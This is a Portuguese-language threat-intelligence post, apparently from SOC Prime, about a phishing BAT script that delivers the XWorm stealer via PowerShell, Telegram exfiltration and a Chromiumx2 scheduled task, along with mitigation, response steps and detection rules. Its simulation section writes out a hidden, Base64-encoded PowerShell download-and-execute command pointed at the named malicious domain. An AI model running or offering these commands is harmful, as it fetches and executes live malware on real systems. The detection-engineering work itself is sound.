SOC Prime Bias: Medium

06 Feb 2026 15:26 UTC

Script Malicioso Entregando Mais Malícia

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Script Malicioso Entregando Mais Malícia
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Um email de phishing entrega um anexo malicioso contendo um script BAT que inicia o PowerShell para baixar uma carga útil codificada em Base64. Após a decodificação, a carga útil se transforma em XWorm, um stealer .NET que identifica o host e exfiltra dados coletados através de um bot do Telegram. A persistência é estabelecida criando uma tarefa agendada que executa repetidamente o executável baixado. A operação depende de vários elementos de infraestrutura, incluindo uma isca de hospedagem de imagens falsa e pelo menos um IP comprometido usado para planejar a carga útil.

Investigação

A revisão do script BAT revelou uma linha única de comando do PowerShell que recupera um arquivo parecido com PNG de um domínio controlado pelo atacante. O conteúdo Base64 embutido é então sanitizado, invertido e decodificado para reconstruir o executável .NET. A análise binária mostrou que o malware registra uma tarefa agendada chamada Chromiumx2 e usa a API do Telegram para comando e controle e exfiltração de dados. Os investigadores extraíram indicadores principais de rede, incluindo o domínio de hospedagem, endereço IP associado e o endpoint da API do Telegram referenciado durante a execução.

Mitigação

Prevenir a execução de conteúdo BAT e PowerShell não confiável originado de anexos de email ou diretórios de download dos usuários. Aplicar uma lista de permissões de aplicativos para restringir a criação de tarefas agendadas e sinalizar novos registros de tarefas suspeitos. Monitorar e, quando possível, restringir o acesso de saída para endpoints da API do Telegram e bloquear os domínios maliciosos identificados nas camadas de DNS/proxy. Manter as detecções de endpoint atualizadas com novos indicadores observados e padrões de download baseados em scripts.

Resposta

Isolar endpoints onde a tarefa agendada Chromiumx2 ou Chromiumx2.exe é observada. Remover a tarefa agendada, deletar o binário malicioso e coletar artefatos (script, carga útil decodificada, XML de tarefa e logs relevantes) para escopo forense. Caçar pelo ambiente o mesmo nome de tarefa, comportamento de decodificação PowerShell similar, e tráfego direcionado pelo Telegram. Redefinir credenciais potencialmente expostas e notificar os usuários sobre o anexo de phishing para reduzir execução repetida.

Fluxo de Ataque

Detecções

Possível Abuso do Telegram Como Canal de Comando e Controle (via dns_query)

Equipe SOC Prime
04 Fev 2026

Processo Suspeito Utiliza um URL na Linha de Comando (via cmdline)

Equipe SOC Prime
04 Fev 2026

Download ou Upload via Powershell (via cmdline)

Equipe SOC Prime
04 Fev 2026

Schtasks Aponta para Diretório / Binário / Script Suspeito (via cmdline)

Equipe SOC Prime
04 Fev 2026

Strings Suspeitas do Powershell (via powershell)

Equipe SOC Prime
04 Fev 2026

Arquivos Suspeitos no Perfil do Usuário Público (via file_event)

Equipe SOC Prime
04 Fev 2026

Strings Suspeitas do Powershell (via cmdline)

Equipe SOC Prime
04 Fev 2026

Possível Uso do Schtasks ou AT para Persistência (via cmdline)

Equipe SOC Prime
04 Fev 2026

IOCs (SourceIP) para detectar: Script Malicioso Entregando Mais Malicias

Regras de IA do SOC Prime
04 Fev 2026

IOCs (DestinationIP) para detectar: Script Malicioso Entregando Mais Malicias

Regras de IA do SOC Prime
04 Fev 2026

Criação de Tarefa Agendada para Persistência do Chromiumx2 [Criação de Processo do Windows]

Regras de IA do SOC Prime
04 Fev 2026

Detectar Busca de Carga Útil do PowerShell Codificada em Base64 [Powershell do Windows]

Regras de IA do SOC Prime
04 Fev 2026

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria & Base deve ter passado.

  • Narrativa do Ataque & Comandos:
    O atacante quer baixar e executar uma carga útil maliciosa de um servidor web comprometido. Para evitar a detecção de assinatura clássica, eles embutem toda a lógica de download e execução em uma única string Base64 e invocam o PowerShell com -EncodedCommand. O comando referencia o URL exato que a regra de detecção monitora (https://uniworldrivercruises-co.uk/optimized_MSI.png).

    1. Codificar a carga útil maliciosa (um simples downloader que executa o script recebido):

      $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
      $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      Write-Host $b64

      B64 Resultante (exemplo): SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA... (truncado).

    2. Execute o comando codificado:

      powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...

    Esta linha única gera a telemetria exata que a regra Sigma espera: um processo PowerShell, o -EncodedCommand flag, e o URL malicioso dentro do bloco de script decodificado.

  • Script de Teste de Regressão:

    #-------------------------------------------------
    # Script de regressão para acionar a regra de detecção
    #-------------------------------------------------
    # 1. Construir a carga útil maliciosa
    $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Execute a carga útil via um comando PowerShell codificado
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" `
        -WindowStyle Hidden -PassThru | Out-Null
    
    Write-Host "Comando codificado e malicioso executado."
    #-------------------------------------------------
  • Comandos de Limpeza:

    # Remover quaisquer arquivos temporários (nenhum esperado, pois a carga útil é transmitida diretamente)
    # Terminar quaisquer processos PowerShell ocultos iniciados pelo teste
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} |
        Stop-Process -Force
    
    Write-Host "Limpeza completa."